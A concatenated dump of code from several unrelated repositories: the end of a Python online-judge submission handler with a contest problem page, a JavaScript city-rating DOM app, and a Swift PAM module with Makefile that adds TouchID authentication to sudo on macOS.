and time2<=0.05: setattr(update_verdict,'ADD','AC') #change cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second #act =int(pact) + cts - time_exam_started*3600 #setattr(update_verdict,'ac_time',act) if str(pv)=='NA' or str(pv)=='WA': nsu = int(nsu)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nsu) setattr(update_verdict,'ac_time',act) else: setattr(update_verdict,'ADD','WA') if str(pv)=='AC': nsu = int(nsu)-1; setattr(update_verdict,'ns_user',nsu) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) elif submitted_prob_str =='STR': #change data = {'api_key':api_key, 'source': submitted_code_str, 'lang': lang, 'testcases': json.dumps(["hello","abracadabra","really","wasim","dubhacking"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return result = r.json() if result['result']['compilemessage']=="": stdout0 = result['result']['stdout'][0] stdout1 = result['result']['stdout'][1] stdout2 = result['result']['stdout'][2] stdout3 = result['result']['stdout'][3] stdout4 = result['result']['stdout'][4] time0 = float(result['result']['time'][0]) time1 = float(result['result']['time'][1]) time2 = float(result['result']['time'][2]) time3 = float(result['result']['time'][3]) time4 = float(result['result']['time'][4]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.STR #change nsu = update_verdict.ns_user pact = update_verdict.ac_time if stdout0=='5\n' and stdout1=='11\n' and stdout2=='6\n' and stdout3=='5\n' and stdout4=='10\n' and time0<=0.03 and time1<=0.03 and time2<=0.03 and time3<=0.03 and time4<=0.03: setattr(update_verdict,'STR','AC') #change cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if str(pv)=='NA' or str(pv)=='WA': nsu = int(nsu)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nsu) setattr(update_verdict,'ac_time',act) else: setattr(update_verdict,'STR','WA') if str(pv)=='AC': nsu = int(nsu)-1 setattr(update_verdict,'ns_user',nsu) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) elif submitted_prob_str == 'EON': data = {'api_key':api_key, 'source': submitted_code_str, 'lang':lang, 'testcases': json.dumps(["2","7"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return result = r.json() if result['result']['compilemessage']=="": stdout0 = result['result']['stdout'][0] stdout1 = result['result']['stdout'][1] time0 = float(result['result']['time'][0]) time1 = float(result['result']['time'][1]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.EON nsu = update_verdict.ns_user pact = update_verdict.ac_time if stdout0=='YES\n' and stdout1=='NO\n' and time0<0.1 and time1<0.1: setattr(update_verdict,'EON','AC') cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if str(pv)=='NA' or str(pv)=='WA' or str(pv)=='TLE': nsu = int(nsu)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nsu) setattr(update_verdict,'ac_time',act) elif time0>0.1 or time1>0.1: setattr(update_verdict,'EON','TLE') if str(pv)=='AC': nsu = int(nsu)-1 setattr(update_verdict,'ns_user',nsu) else: setattr(update_verdict,'EON','WA') if str(pv)=='AC': nsu = int(nsu)-1 setattr(update_verdict,'ns_user',nsu) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) elif submitted_prob_str == 'DBY': data = {'api_key':api_key, 'source' :submitted_code_str, 'lang' :lang, 'testcases' : json.dumps(["5 1","5 5","5 2","1 1"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return result = r.json() if result['result']['compilemessage']=="": stdout0 = result['result']['stdout'][0] stdout1 = result['result']['stdout'][1] stdout2 = result['result']['stdout'][2] stdout3 = result['result']['stdout'][3] time0 = float(result['result']['time'][0]) time1 = float(result['result']['time'][1]) time2 = float(result['result']['time'][2]) time3 = float(result['result']['time'][3]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.DBY nus = update_verdict.ns_user pact = update_verdict.ac_time if stdout0=='5\n' and stdout1=='1\n' and stdout2=='2\n' and stdout3=='1\n' and time0<0.3 and time1<0.3 and time2<0.3 and time3<0.3: setattr(update_verdict,'DBY','AC') cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if str(pv)=='NA' or str(pv)=='WA': nus = int(nus)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nus) setattr(update_verdict,'ac_time',act) else: setattr(update_verdict,'DBY','WA') if str(pv)=='AC': nus = int(nus)-1 setattr(update_verdict,'ns_user',nus) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) elif submitted_prob_str =='RUPQ': data = {'api_key':api_key, 'source' :submitted_code_str, 'lang':lang, 'testcases' : json.dumps(["10 3 5\n1 3\n2 4\n6 8","20 4 12\n1 8\n8 12\n13 18\n17 18"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return result = r.json() if result['result']['compilemessage']=="": stdout0 = result['result']['stdout'][0] stdout1 = result['result']['stdout'][1] #stdout2 = result['result']['stdout'][2] #stdout3 = result['result']['stdout'][3] #stdout4 = result['result']['stdout'][4] time0 = float(result['result']['time'][0]) time1 = float(result['result']['time'][1]) #time2 = float(result['result']['time'][2]) #time3 = float(result['result']['time'][3]) #time4 = float(result['result']['time'][4]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.F nus = update_verdict.ns_user pact = update_verdict.ac_time if stdout0=="12\n" and stdout1=="26\n" and time0<0.04 and time1<0.04: setattr(update_verdict,'RUPQ','AC') cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if str(pv)=='NA' or str(pv)=='WA': nus = int(nus)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nus) setattr(update_verdict,'ac_time',act) else: setattr(update_verdict,'RUPQ','WA') if str(pv)=='AC': nus = int(nus)-1 setattr(update_verdict,'ns_user',nus) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) elif submitted_prob_str=='D': data = {'api_key':api_key, 'source' : submitted_code_str, 'lang':lang, 'testcases': json.dumps(["science\n 4 n s c e"]) } try: r = requests.post(run_url,data=data) except requests.ConnectionError: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return except: self.response.out.write("Currently server is on fire with huge submission rate. No problem! Submit again :D") return result = r.json() if result['result']['compilemessage']=="": stdout0 = result['result']['stdout'][0] time0 = float(result['result']['time'][0]) update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() pv = update_verdict.D nus = update_verdict.ns_user pact = update_verdict.ac_time if stdout0=="n 1\ns 1\nc 2\ne 2\n" and time0<0.02: setattr(update_verdict,'D','AC') cts = datetime.utcnow().hour*3600+datetime.utcnow().minute*60+datetime.utcnow().second if str(pv)=='NA' or str(pv)=='WA': nus = int(nus)+1 act =int(pact) + cts - time_exam_started setattr(update_verdict,'ns_user',nus) setattr(update_verdict,'ac_time',act) else: setattr(update_verdict,'D','WA') if str(pv)=='AC': nus = int(nus)-1 setattr(update_verdict,'ns_user',nus) update_verdict.put() self.redirect('/user/'+username_session) else: have_error = True params['compilation_error'] = str(result['result']['compilemessage']) self.render('submit.html',**params) #elif submitted_prob_str=='ADD': # data = {'api_key':api_key, # 'source':submitted_code_str, # 'lang':lang, # 'testcases':json.dumps(["2 4","1 0","2 10","10 10"]) # } # r = requests.post(run_url,data=data) # result = r.json() # if result['result']['compilemessage']=="": # stdout0 = result['result']['stdout'][0] # stdout1 = result['result']['stdout'][1] # stdout2 = result['result']['stdout'][2] # stdout3 = result['result']['stdout'][3] # time0 = result['result']['time'][0] # time1 = result['result']['time'][1] # time2 = result['result']['time'][2] # time3 = result['result']['time'][3] # update_verdict = db.GqlQuery("SELECT * FROM UserInfo WHERE username= :u",u=username_session).get() # pv = update_verdict.ADD # nus = update_verdict.ns_user # pact = update_verdict.ac_time # if stdout0=="6\n" and stdout1=="1\n" and stdout2=="12\n" and stdou3=="20\n" and time0<0.04 and time1<0.04 and time2<0.04 and time3<0.04: # setattr(update_verdict,'ADD','AC') # cts = datetime.utcnow().hour*360+datetime.utcnow().minute*60+datetime.utcnow().second # if str(pv)=='NA' or str(pv)=='WA': # nus = int(nus)+1 # act = int(pact) + cts - time_exam_started*3600 # setattr(update_verdict,'ns_user',nus) # setattr(update_verdict,'ac_time',act) # else: # setattr(update_verdict,'ADD','WA') # if str(pv)=='AC': # nus = int(nus)-1 # setattr(update_verdict,'ns_user',nus) # update_verdict.put() # self.redirect('/user/'+username_session) # else: # have_error=True # params['compilation_error'] = str(result['result']['compilemessage']) # self.render('submit.html',**params) else: self.response.out.write("There's no such problem code") config = {} config['webapp2_extras.sessions'] = {'secret_key': ' ','cookie_args':{'max_age':86400}} #config['webapp2_extras.jinja2'] = {'template_path':'C:\Users\TOSHIBA pc\Documents\apps\dubhacking\templates'} app = webapp2.WSGIApplication([ ('/',Main), ('/about',About), ('/signup',Signup), ('/user/.*',Userprofile), ('/edit',EditArea), ('/problem/.*',Problem), ('/problems',ProblemPage), ('/submit',Submit), ('/idea',Idea), ('/settings',Settings), ('/confirm_email',Confirm_email), ('/confirming/.*',Confirming), ('/login',Login), ('/logout',Logout), ('/scoreboard',Scoreboard) ],config=config, debug=True) <file_sep><!--© Copyright <NAME>. License: MIT 'Dubhacking' name is copyright of Wasim Thabraze as per 2015 and cannot be used unless or untill the prior permission. Contact: www.thabraze.in | email: <EMAIL> --> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <meta name="<NAME>, WASIM,www.thabraze.in, gitpromote,waseem18" content="Dubhacking is an online judge. © Copyright 2015 <NAME> | Dubhacking" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> <title>Dubhacking-Problem</title> <link href="/css/bootstrap.css" rel="stylesheet" /> <script src="js/timer.js"></script> <style> .submitLink { background-color: transparent; text-decoration: none; color: blue; border: none; cursor: pointer; } </style> </head> <body> <div class="logo" style="margin-left: 555px"> <h1 style="font-family: Candara, Calibri, Segoe, 'Segoe UI', Optima, Arial, sans-serif">Dubhacking</h1> </div> <div style="font size: 32px; display: inline-block" id="counter"></div> <div style="float: right"> <p style="font-size: 16px; margin-right: 3cm"><a href="https://dubhacking.appspot.com/user/{{username_session}}">{{username_session}} </a>|<a href="https://dubhacking.appspot.com/scoreboard"> Scoreboard </a> | <a href="https://dubhacking.appspot.com/logout"> Logout</a></p> </div> <input type="hidden" name="prob" value="A"><p>Problem : Yet Another Dubhacking contest | Time limit: 0.3secs | Memory: 256MB | <a class="submitLink" href="https://dubhacking.appspot.com/submit">Submit code</a></p> <div class="jumbotron" style="margin-top: 17px"> <p style="font-size: 14px; margin-left: 15px"> Dubhacking is planning to conduct a programming contest in the future. Only a team of three students can participate. Assuming there are n students willing to participate (n%3==0) and all students are numbered from 1 to n inclusive. During formation of the teams, some pairs of students wants to be on the same team. Besides, if the i-th student wants to be on the same team with the j-th one, then the j-th student wants to be on the same team with the i-th one. Wasim and Prashanth want good results from the contest. So they put a condition to hold: if the i-th student wants to be on the same team with the j-th, then the i-th and the j-th students must be on the same team. Also, it is obvious that each student must be on exactly one team.<br> Help them in dividing the teams in the way they want. <br> <br> <b>Constraints: </b><br> 3<=n<=47 such that n%3==0 and 0<=m<=1128 <br> 1 ≤ ai < bi ≤ n<br> <br><br> <b>Input:</b> <br> The first line of the input contains integers n and m. <br>Then follow m lines, each contains a pair of integers ai, bi (1 ≤ ai < bi ≤ n) — the pair ai, bi means that students with numbers ai and bi want to be on the same team.<br><br> It is guaranteed that n is divisible by 3. It is guaranteed that each pair ai, bi occurs in the input at most once. <br><br> <b>Output:</b> <br> If the required division into teams doesn't exist, print number -1. <br>Otherwise, print lines. In each line print three integers xi, yi, zi (1 ≤ xi, yi, zi ≤ n) — the i-th team.<br><br> There might be multiple answers for few testcases. You can print any of them. Our judging algorithm and server is intelligent enough! :D</p> </div> <div class="page-header"> <b style="margin-left: 15px">Sample Input:</b><br> <p style="font-size: 14px; margin-left: 15px">3 0 <br><br> <b>Sample Output:</b><br> 3 2 1<br></p> <br> <br> <b style="margin-left: 15px">Sample Input:</b><br> <p style="font-size: 14px; margin-left: 15px">6 4<br>1 2<br>2 3<br>3 4<br>5 6<br> <br><br> <b>Sample Output:</b><br> -1<br></p> <br> <br> <b style="margin-left: 15px">Sample Input:</b><br> <p style="font-size: 14px; margin-left: 15px">3 3<br>1 2<br>2 3<br>1 3 <br><br> <b>Sample Output:</b><br> 3 2 1<br></p> <br> <br> </p> </div> </body> </html>
143f7ee50b046e3f915ae416227b82f76512768c
[ "Markdown", "Python", "HTML" ]
3
Markdown
waseem18/Online-Judge
b6843b9b4f755899cbe7f9ee66cc965dad6e4866
987c19c41d9605aef5c22efe847d4a916aeccff3
refs/heads/master
<repo_name>gerardosantosg/City-Rating-App-DOM-Manipulation-<file_sep>/app.js const btnHeader = document.getElementById("btn-header"); const form = document.querySelector(".myform"); const formButtons = document.querySelector(".myspan"); const btnCancel = document.getElementById("btn-cancel"); const btnOk = document.getElementById("btn-ok"); const headerArea = document.querySelector("#header"); const databaseTitleArea = document.querySelector("#database"); const userInputs = document.querySelectorAll("input"); const listContainer = document.getElementById("list-container"); const cities = []; function clearCityInputs() { userInputs[0].value = ""; userInputs[1].value = ""; userInputs[2].value = ""; userInputs[3].value = 50; } function AppearCityCard() { form.classList.toggle("visible"); formButtons.classList.toggle("visible"); headerArea.classList.toggle("opaque"); databaseTitleArea.classList.toggle("opaque"); listContainer.classList.toggle("opaque"); clearCityInputs(); } function addCityToList( idValue, nameValue, urlValue, descriptionValue, ratingValue ) { const newCityInList = document.createElement("li"); newCityInList.className = "city-element"; newCityInList.innerHTML = ` <div class="city-image"> <img src="${urlValue}" alt="${nameValue}"> </div> <div class="city-info"> <h3>${nameValue}</h3> <h4> ${ratingValue}/100</h4> <h5>Remove Card</h5> </div> <div class="description-container"> <h3 class="description">Description</h3> <p>${descriptionValue}</p> </div> `; const listRoot = document.getElementById("my-list"); listRoot.append(newCityInList); naming(idValue); } function addCity() { const nameValue = userInputs[0].value; const urlValue = userInputs[1].value; const descriptionValue = userInputs[2].value; const ratingValue = userInputs[3].value; if ( nameValue.trim() === "" || urlValue.trim() === "" || descriptionValue.trim() === "" ) { alert("Please enter a City Name, a Valid URL, and a Description"); return; } const newCity = { id: Math.random().toString(), name: nameValue, image: urlValue, description: descriptionValue, rating: ratingValue, }; cities.push(newCity); addCityToList( newCity.id, newCity.name, newCity.image, newCity.description, newCity.rating ); updateUI(); AppearCityCard(); } function naming(idValue) { addingEventListenersToH5(idValue); } function updateUI() { if (cities.length === 0) { databaseTitleArea.style.display = "block"; } else { databaseTitleArea.style.display = "none"; } } function addingEventListenersToH5(cityId) { const h5 = document.querySelectorAll("h5"); for (let i = 0; i < h5.length; i++) { if (i === h5.length - 1) { h5[i].addEventListener("click", deleteCity.bind(null, cityId)); } } } function deleteCity(cityId) { let cityIndex = 0; for (let city of cities) { if (city.id === cityId) { break; } cityIndex++; } if (confirm("Do you really want to delete this item?")) { cities.splice(cityIndex, 1); const listRoot = document.getElementById("my-list"); listRoot.children[cityIndex].remove(); updateUI(); } } btnHeader.addEventListener("click", AppearCityCard); btnCancel.addEventListener("click", AppearCityCard); btnOk.addEventListener("click", addCity);
a7e982b3a943d35fa35cf7a52258a1d0deaa4aa5
[ "JavaScript" ]
1
JavaScript
gerardosantosg/City-Rating-App-DOM-Manipulation-
c656538dcf573c4c6b7227d840cb71c55bc13789
95df6b08b8a9cbf6fff2f3e2fc883298264124ea
refs/heads/master
<file_sep>"use strict"; var router = require('express').Router(); var controller = require('../controllers/news.controller'); router.get('/', controller.get); router.get('/latest', controller.getLatest); router.get('/:section', controller.getSection); module.exports = router;<file_sep>var angular = require('angular'); var $routeProvider = require('angular-route'); var $sanitize = require('angular-sanitize'); var News = { service: require('./news/news.service'), controller: require('./news/news.controller'), template: require('./news/news.template.html') } var Article = { controller: require('./article/article.controller'), template: require('./article/article.template.html') } var initializeMasonryDirective = require('./lib/masonry.directive'); var responsifyDirective = require('./lib/responsify.directive'); var escapeFilter = require('./lib/escape.filter'); var pages = { home: require('./pages/home.html'), about: require('./pages/about.html') } angular .module('nanboard', ['ngRoute', 'ngSanitize']) .config(function($routeProvider) { $routeProvider .when('/', { template: pages.home }) .when('/about', { template: pages.about }) .when('/news', { template: News.template, controller: News.controller }) .when('/news/:id', { template: Article.template, controller: Article.controller }) }) .filter('escape', escapeFilter) .directive('responsify', [ '$rootScope', '$window', '$timeout', responsifyDirective]) .service('NewsService', [ '$http', News.service]) .controller('NewsController', [ 'NewsService', News.controller]) .controller('ArticleController', [ '$routeParams', '$sce', 'NewsService', Article.controller])<file_sep>var jQuery = require('jquery/dist/jquery.min.js').noConflict(); var imagesLoadedPlugin = require('imagesloaded/imagesloaded.pkgd.min.js'); /** * Responsify angular directive * Add bootstrap "resposive-embed" classes to rendered html markup * Resize embeded videos on $window resize * @param {angular.$rootScope} $rootScope * @param {angular.$window} $window * @param {angular.$timeout} $timeout * @return {angular.Directive} - Directive definition object. */ module.exports = function($rootScope, $window, $timeout) { /** * @param {jQuery element} image - expected directive element */ var getResponsiveClassName = function(image) { /** * @param {number} width - width of an image * @param {number} height - height of an image */ var getAspectRatio = function(width, height) { var ratio = width / height; return ( Math.abs( ratio - 4 / 3 ) < Math.abs( ratio - 16 / 9 ) ) ? '4:3' : '16:9'; }; var aspectRatio = getAspectRatio(image.attr('width'), image.attr('height')); return `embed-responsive-${aspectRatio.replace(':', 'by')}`; }; /** * @param {jQuery element} container - expected directive element */ var responsifyImages = function(container) { container .imagesLoaded() .progress(function(pluginInstance, image) { var imageContainer = jQuery(image).parent(); if (image.isLoaded) { imageContainer.show(); } else { imageContainer.hide(); } }) .done(function(pluginInstance) { var imagesContainers = container .find('figure.element.element-image'); imagesContainers.addClass('embed-responsive') .addClass(function() { var image = jQuery(this).find('img'); return getResponsiveClassName(image); }) }); }; /** * @param {jQuery element} container - expected directive element */ var responsifyVideos = function(container) { var videos = container .find('video'); videos.each(function() { jQuery(this) .data('aspectRatio', this.height / this.width) .removeAttr('height') .removeAttr('width'); }); jQuery($window).resize(function() { var newWidth = container.width(); videos.each(function() { var currentVideo = jQuery(this); currentVideo .width(newWidth) .height(newWidth * currentVideo.data('aspectRatio')); }); }).resize(); }; var linker = function (scope, element, attrs) { imagesLoadedPlugin.makeJQueryPlugin(jQuery); $rootScope.$on('$viewContentLoaded', function() { var container = jQuery(element); $timeout(function() { responsifyImages(container); responsifyVideos(container); }, 1000); }); }; return { restrict: 'A', link: linker } };<file_sep>module.exports = function($routeParams, $sce, NewsService) { var vm = this; var handleData = function(article) { for (var prop in article.fields) { if (article.fields.hasOwnProperty(prop)) { var trustedHtml = $sce .trustAsHtml(article.fields[prop]); article.fields[prop] = trustedHtml; } } vm.content = article; } var handleError = function(status, data) { console.error(status, data); vm.content.error = "Content is not available"; } NewsService.one($routeParams.id) .success(handleData) .error(handleError); }<file_sep>var Masonry = require('masonry-layout'); module.exports = function ($rootScope, $timeout) { var initializeMasonry = function(scope, element, attrs) { $rootScope.$on('$viewContentLoaded', function() { $timeout(function() { console.log(element) new Masonry(element[0], { itemSelector: '.feed-entry', percentPosition: true }); }, 1000) }); }; return { restrict: 'A', link: initializeMasonry, scope: {} } }<file_sep>var path = require('path'), webpack = require('webpack'), HtmlWebpackPlugin = require('html-webpack-plugin'), ExtractTextPlugin = require('extract-text-webpack-plugin'); var config = require('./etc/config'); var API_URL = `http://${ config.SERVER.HOST }:${ config.SERVER.PORT }`, CLIENT_URL = `http://${ config.CLIENT.HOST }:${ config.CLIENT.PORT }` module.exports = { entry: { styles: [ 'bootstrap/dist/css/bootstrap.min.css', 'bootswatch/journal/bootstrap.min.css', './client/styles/main.css' ], app: `./client/scripts/index.js` }, module: { loaders: [ { test: /\.css$/, loader: ExtractTextPlugin.extract('style-loader', 'css-loader') }, { test: /\.html$/, loader: 'html' }, { test: /\.(eot|svg|ttf|woff|woff2)$/, loader: 'file?name=public/fonts/[name].[ext]' } ] }, output: { path: path.join(__dirname, 'public'), filename: '[name].js' }, resolve: { extensions: ['', '.js'] }, devtool: 'cheap-module-source-map', devServer: { contentBase: "./public", proxy: { "*": API_URL }, noInfo: true, hot: true, inline: true, historyApiFallback: true, port: config.CLIENT.PORT, host: config.CLIENT.HOST }, plugins: [ new webpack.optimize.DedupePlugin(), new webpack.NoErrorsPlugin(), new webpack.HotModuleReplacementPlugin(), new webpack.optimize.CommonsChunkPlugin("commons", "commons.js"), new ExtractTextPlugin('[name].css'), new HtmlWebpackPlugin({ template: 'client/index.html', showErrors: false, devServer: CLIENT_URL, files: { "css": ["main.css"], } }) ] }<file_sep>module.exports = function(NewsService) { var vm = this; vm.articles = []; NewsService.latest() .success(function (data) { vm.articles = data; }) .error(function(status, data) { vm.articles = []; }); }<file_sep>$(document).ready(function() { let DateFormats = { short: "DD MMMM - YYYY", long: "dddd DD.MM.YYYY HH:mm" }; let feedTemplate = null; let host = $(this).get(0).URL; let $checkboxes = $('.section-checkbox'); let $searchTrigger = $('#search-trigger').hide(); let $imageContainers = $('figure.element.element-image'); let isShiftKeyPressed = false; let checkedSections = []; let getAspectRatio = (width, height) => { const ratio = width / height; return ( Math.abs( ratio - 4 / 3 ) < Math.abs( ratio - 16 / 9 ) ) ? '4:3' : '16:9'; } // Custom date format by moment.js Handlebars.registerHelper('formatDate', function(datetime, format) { if (moment) { format = DateFormats[format] || format; return moment(datetime).format(format); } return datetime; }); // Pre-compiling feed template $.get('templates/feed.hbs', templateSource => { feedTemplate = Handlebars.compile(templateSource); }); // Responsify Guardian images $imageContainers .addClass('embed-responsive') // Append bootstrap responsive classes .addClass(function getBootstrapResponsiveEmbedClass() { const $element = $(this); const $child = $($element.children()[0]) // Expected <img> tags .addClass('embed-responsive-item'); const aspectRatio = getAspectRatio($child.attr('width'), $child.attr('height')); return `embed-responsive-${aspectRatio.replace(':', 'by')}`; }) // Watch if shift has been pressed $(document).on('keyup keydown', e => { isShiftKeyPressed = e.key == 'Shift'; }); $('a.section-link').click(function(e) { e.preventDefault(); let $currentLink = $(this); // expected <a> if (isShiftKeyPressed) { // Handle multiple sections selection e.stopPropagation(); // Prevent open link in new browser window let $currentCheckbox = $currentLink.parent().prev(); let $container = $currentCheckbox.parent(); // Expected <li> let isChecked = $currentCheckbox.attr('checked'); $currentLink.toggleClass('text-muted'); // Visually mark link as selected $currentCheckbox.attr('checked', !isChecked); // Check hidden checkbox // Select checked checkboxes checkedSections = [...$checkboxes].filter(checkbox => $(checkbox).attr('checked')); let isAnyItemsChecked = checkedSections.length > 0; // if there's any selected sections then show or hide search button($searchTrigger) if (isAnyItemsChecked) { $searchTrigger.fadeIn('fast'); } else { $searchTrigger.fadeOut('fast'); throw new Error('Any element aren\'t checked'); } } else { // Make single section request $.get($currentLink[0].href, data => { $('.feed-container').html(feedTemplate({ feed: data, host: $currentLink[0].href })); $('.feed').masonry({ itemSelector: '.feed-entry' }); }); } }); $searchTrigger.click(function(e) { e.preventDefault(); // Collect href's from dropdown menu let sections = checkedSections.map(item => // Here's additional wrapper '$()' allows us to manipulate current item as jquery object // It's cause next code part (.children()[0]) returns raw DOM element // And we can't call jquery methods over it $( $(item) .next() .children()[0] ) .attr('href') .match(/\/news\/(\w+)/)[1]); // Match section name let host = $(this)[0].href; let query = `${host}?sections=${sections.join(',')}`; console.log(query); $.get(query, data => { $('.feed-container').html(feedTemplate({ feed: data, host: host })); $('.feed').masonry({ itemSelector: '.feed-entry' }); }); }); });<file_sep>module.exports = function($http) { return { latest: function() { return $http.get('/news/latest') }, one: function(id) { return $http.get('/news?id=' + id); }, many: function(sections) { return $http.get('/news?sections=' + sections.join('')); } } }<file_sep>"C:\Program Files\MongoDB\Server\3.2\bin\mongod" --dbpath=./.data <file_sep>"use strict"; var express = require('express'), path = require('path'), mongoose = require('mongoose'), config = require('../etc/config'); var app = express(); mongoose.connect( `mongodb://${config.DB.HOST}/${config.DB.NAME}`, err => { if (err) throw err; console.log("Magic connected to database"); }); var routes = { index: require('./routes/index.route'), news: require('./routes/news.route') } app.use('/', routes.index); app.use('/news', routes.news); app.listen(config.SERVER.PORT, config.SERVER.HOST, () => console.log(`\nMagic happens on port ${config.SERVER.PORT}`));
4730e5286bb34e9259bcc7e0bf17ca6182523c4c
[ "JavaScript", "Shell" ]
11
JavaScript
embarq/nanboard
e1264457ddca8110114c69f0e221f0d443429419
3fc8ad02ef2353b778fe0bc90a8efb9e0cf686af
refs/heads/master
<repo_name>sathishdsgithub/pam_touchid<file_sep>/README.md # PAM TouchID This project contains a PAM authentication module using TouchID for macOS. That way you can use TouchID for authentication with e.g. `sudo`. ## Installation To add TouchID support to `sudo` first build and install the project: ```sh make sudo make install ``` Then edit `/etc/pam.d/sudo` using root rights with any editor and add the following as the first line: ``` auth sufficient pam_touchid.so ``` You may further add a `reason` parameter, to overwrite the message shown, like this: ``` auth sufficient pam_touchid.so "reason=execute a command as root" ``` **Do not** remove any of the preexisting lines in the file though. If you use e.g. `vim` you might see a warning about the file being readonly, but you can still safely overwrite the file using the force flag `!`. <file_sep>/src/main.swift import LocalAuthentication public typealias argv_t = UnsafePointer<UnsafeMutablePointer<CChar>> public typealias pam_handle_t = UnsafeRawPointer @_silgen_name("pam_sm_authenticate") public func pam_sm_authenticate(pamh: pam_handle_t, flags: Int, argc: Int, argv: argv_t) -> Int { let arguments = parseArguments(argc: argc, argv: argv) let reason: String if let r = arguments["reason"] ?? "", !r.isEmpty { reason = r } else { reason = "perform an action that requires authentication" } let semaphore = DispatchSemaphore(value: 0) let context = LAContext() var result = PAM_AUTH_ERR context.evaluatePolicy(.deviceOwnerAuthenticationIgnoringUserID, localizedReason: reason) { success, error in defer { semaphore.signal() } if let error = error { fputs("\(error.localizedDescription)\n", stderr) } result = success ? PAM_SUCCESS : PAM_AUTH_ERR } semaphore.wait() return result } @_silgen_name("pam_sm_chauthtok") public func pam_sm_chauthtok(pamh: pam_handle_t, flags: Int, argc: Int, argv: argv_t) -> Int { return PAM_IGNORE } @_silgen_name("pam_sm_setcred") public func pam_sm_setcred(pamh: pam_handle_t, flags: Int, argc: Int, argv: argv_t) -> Int { return PAM_IGNORE } @_silgen_name("pam_sm_acct_mgmt") public func pam_sm_acct_mgmt(pamh: pam_handle_t, flags: Int, argc: Int, argv: argv_t) -> Int { return PAM_IGNORE } private extension LAPolicy { static let deviceOwnerAuthenticationIgnoringUserID: LAPolicy = LAPolicy(rawValue: 0x3f0)! } private func parseArguments(argc: Int, argv: argv_t) -> [String: String?] { let args = (0..<argc) .map { String(cString: argv[$0]) } .joined(separator: " ") as NSString // The following code turns an input string like // "a b=c d=\"e f\" g= h" // into a map like // ["b": Optional("c"), "a": nil, "g": nil, "d": Optional("e f"), "h": nil] let regex = try! NSRegularExpression(pattern: "([^ =]+)(?:=(?:\"((?:[^\"\\\\]|\\\\.)*)\"|([^ ]*)))?", options: []) let matches = regex.matches(in: args as String, range: NSRange(location: 0, length: args.length)) var results = [String: String?]() for m in matches { let key = args.substring(with: m.range(at: 1)) let valueRange1 = m.range(at: 2) let valueRange2 = m.range(at: 3) let value: String? if valueRange1.lowerBound != NSNotFound && valueRange1.lowerBound != valueRange1.upperBound { value = args.substring(with: valueRange1) } else if valueRange2.lowerBound != NSNotFound && valueRange2.lowerBound != valueRange2.upperBound { value = args.substring(with: valueRange2) } else { value = nil } results[key] = value } return results } <file_sep>/Makefile XCODE = $(shell xcode-select -p) MODULE_NAME := pam_touchid LIBRARY_NAME := $(MODULE_NAME).so.2 DESTINATION := /usr/local/lib/pam $(LIBRARY_NAME): src/Bridging-Header.h src/main.swift $(XCODE)/Toolchains/XcodeDefault.xctoolchain/usr/bin/swiftc \ -sdk $(XCODE)/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk \ -emit-library \ -swift-version 5 \ -O \ -whole-module-optimization \ -Xlinker -S \ -Xlinker -x \ -Xlinker -dead_strip \ -Xlinker -dead_strip_dylibs \ -Xlinker -exported_symbols_list -Xlinker src/export_list \ -module-name $(MODULE_NAME) \ -o $(LIBRARY_NAME) \ -import-objc-header src/Bridging-Header.h \ src/main.swift .PHONY: install install: $(LIBRARY_NAME) mkdir -p $(DESTINATION) cp $(LIBRARY_NAME) $(DESTINATION)/$(LIBRARY_NAME) chmod 755 $(DESTINATION)/$(LIBRARY_NAME) chown root:wheel $(DESTINATION)/$(LIBRARY_NAME) .PHONY: uninstall uninstall: rm 